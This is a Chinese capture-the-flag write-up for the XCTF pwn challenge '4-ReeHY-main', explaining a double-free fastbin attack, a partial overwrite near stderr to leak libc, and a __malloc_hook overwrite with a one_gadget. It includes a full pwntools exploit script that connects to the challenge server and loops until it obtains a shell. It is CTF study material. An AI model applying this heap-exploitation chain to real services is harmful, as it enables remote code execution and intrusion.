攻防世界 4-ReeHY-main
检查保护机制:
发现 可以好像写got
然后 程序流程
这里 有double free
然后 再发现
这里很有趣 ,要是我的content为零了 且size 小于112 那就从栈上copy一些内容进去 利用double free ,再修改残留在chunk上的fd的信息 就能达到任意地址写入的效果,
但是
这里有没有溢出点 就算能达到任意地址写入
也没什么用 所以 可以malloc 一块到 stderr + 的地方
然后 再 edit
content 先不写 因为
这个 会刷新stdout 导致之前写入的东西 给重新刷新了
这时候就可以用编辑,写入
不过这时候 只能写最低4字节,所以会有一定的概率性才能malloc 到 那块地方
之所以 选择 stderr +157 因为 那附件只有这块符号size的检测
下面贴出我的 exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
host = "111.198.29.45"
port = 33138 r = remote(host,port) def creat(size, cun, content):
r.recvuntil("$ ")
r.sendline(str(1))
r.recvuntil("Input size")
r.sendline(str(size))
r.recvuntil("Input cun")
r.sendline(str(cun))
r.recvuntil("Input content")
r.sendline(content) def dele(index):
r.recvuntil("$ ")
r.sendline(str(2))
r.recvuntil("Chose one to dele")
r.sendline(str(index)) def edit(index, content):
r.recvuntil("$ ")
r.sendline(str(3))
r.recvuntil("Chose one to edit")
r.sendline(str(index))
r.recvuntil("Input the content")
r.send(content) def show():
r.recvuntil("$ ")
r.sendline(str(4)) def exploit():
global r
r = remote(host,port)
libc = ELF('./libc.so.6')
r.recvuntil("$ ")
r.sendline("aaaa")
creat(0x60, 0, '')
creat(0x60, 1, '')
creat(0x60, 2, '')
dele(0)
dele(1)
dele(0)
creat(0x60, 3, '')
creat(0x60, 1, '')
edit(3,p16(0x95dd))
creat(0x60, 0, '')
try:
pay = "\xcc"*3+p64(0)*6+p64(0xfbad3c80)+p64(0)*3+chr(0)
creat(0x60, 4, pay)
except:
log.failure("not lucky enough!")
r.close()
return False
edit(4,pay)
leak = ''
leak = r.recvuntil("exit")[0x40:0x48]
print hex(u64(leak))
LIBC = u64(leak) - e.symbols['_IO_2_1_stderr_']-0xc0
log.info('libc :0x%x'%LIBC) #raw_input()
target = LIBC + e.symbols['__malloc_hook'] - 0x23
dele(3)
edit(0,p64(target))
onegae = LIBC + 0xf1147
log.info("onegaget: 0x%x"%onegae)
payload = 'a'*0x13 +p64(onegae)
creat(0x60, 1, '')
creat(0x60, 3, payload)
dele(1)
r.recvuntil("$ ")
r.sendline(str(1))
r.recvuntil("Input size")
r.sendline(str(0x60))
r.recvuntil("Input cun")
r.sendline(str(1))
stop = True
r.interactive() if __name__ == '__main__':
stop = False
e = ELF("./libc.so.6")
while not stop:
exploit()
攻防世界 4-ReeHY-main的更多相关文章
- 【攻防世界】高手进阶 pwn200 WP
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...
- 【攻防世界】 高手进阶区 Recho WP
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...
- pwn篇:攻防世界进阶welpwn,LibcSearcher使用
攻防世界welpwn (搬运一篇自己在CSDN写的帖子) 链接:https://blog.csdn.net/weixin_44644249/article/details/113781356 这题主要 ...
- 攻防世界 reverse 进阶 APK-逆向2
APK-逆向2 Hack-you-2014 (看名以为是安卓逆向呢0.0,搞错了吧) 程序是.net写的,直接祭出神器dnSpy 1 using System; 2 using System.Diag ...
- 攻防世界 reverse 进阶 10 Reverse Box
攻防世界中此题信息未给全,题目来源为[TWCTF-2016:Reverse] Reverse Box 网上有很多wp是使用gdb脚本,这里找到一个本地还原关键算法,然后再爆破的 https://www ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
随机推荐
- The usage of Markdown---文字强调:加粗/斜体/文本高亮/删除线/下划线/按键效果
更新时间:2019.09.14 1. 序言 有时候,我们需要对某些文字进行强调,例如粗体和斜体.而Markdown通常可以使用星号*或者下划线_进行文字强调. 2. 加粗 如果想要达到加粗的效果,可以 ...
- JAVA aio简单使用
使用aio,实现客户端和服务器 对一个数进行轮流累加 //服务器端 public class Server { private static ExecutorService executorServi ...
- Mysql数据库(九)备份与恢复
一.数据备份 1.使用mysqldmp命令备份 (1)备份一个数据库 mysqldump -u root -p dbname table1 table2 ... > D:\BackName.sq ...
- 阿里云和微软共同开源的 OAM 对 Kubernetes 开发人员意味着什么?
上周,微软和阿里巴巴共同推出了开放应用模型(OAM),用于定义部署在任何地方的应用模型的一种规范.Rudr是Microsoft基于Kubernetes环境的OAM标准实现. 我用了一个周末来了解OAM ...
- Django实现WebSSH操作物理机或虚拟机
我想用它替换掉xshell.crt之类的工具 WebSSH操作物理机或虚拟机 Django实现WebSSH操作Kubernetes Pod文章发布后,有小伙伴说咖啡哥,我们现在还没有用上Kuberne ...
- Java线程池ThreadPoolExecutor初略探索
在操作系统中,线程是一个非常重要的资源,频繁创建和销毁大量线程会大大降低系统性能.Java线程池原理类似于数据库连接池,目的就是帮助我们实现线程复用,减少频繁创建和销毁线程 ThreadPoolExe ...
- Spring Boot (日志篇):Log4j2整合ELK,搭建实时日志平台
一.安装JDK1.8以上版本 1.从Oracle官网上下载Linux x64版本的 下载地址: http://www.oracle.com/technetwork/java/javase/downlo ...
- Knative Serving 健康检查机制分析
作者| 阿里云智能事业群技术专家牛秋霖(冬岛) 导读:从头开发一个Serverless引擎并不是一件容易的事情,今天咱们就从Knative的健康检查说起.通过健康检查这一个点来看看Serverles ...
- CSPS模拟 92
为什么每次我的flag都会倒? skyh:12:15之前你把T2改出来我吃屎. ----12:10 于是12:12把线段树打完 12:13把主函数打完,过样例,带着一个sb错误交了,WA飞. 然后我就 ...
- 关于Set和Map数据结构的一点学习
关于js的Set和Map结构的学习和记录 对阮一峰老师的ES6入门和网上有关资料的的一点学习和记录 1.Set数据结构 Set构造函数的参数是一个可遍历( iterator)对象 Set中的成员值是唯 ...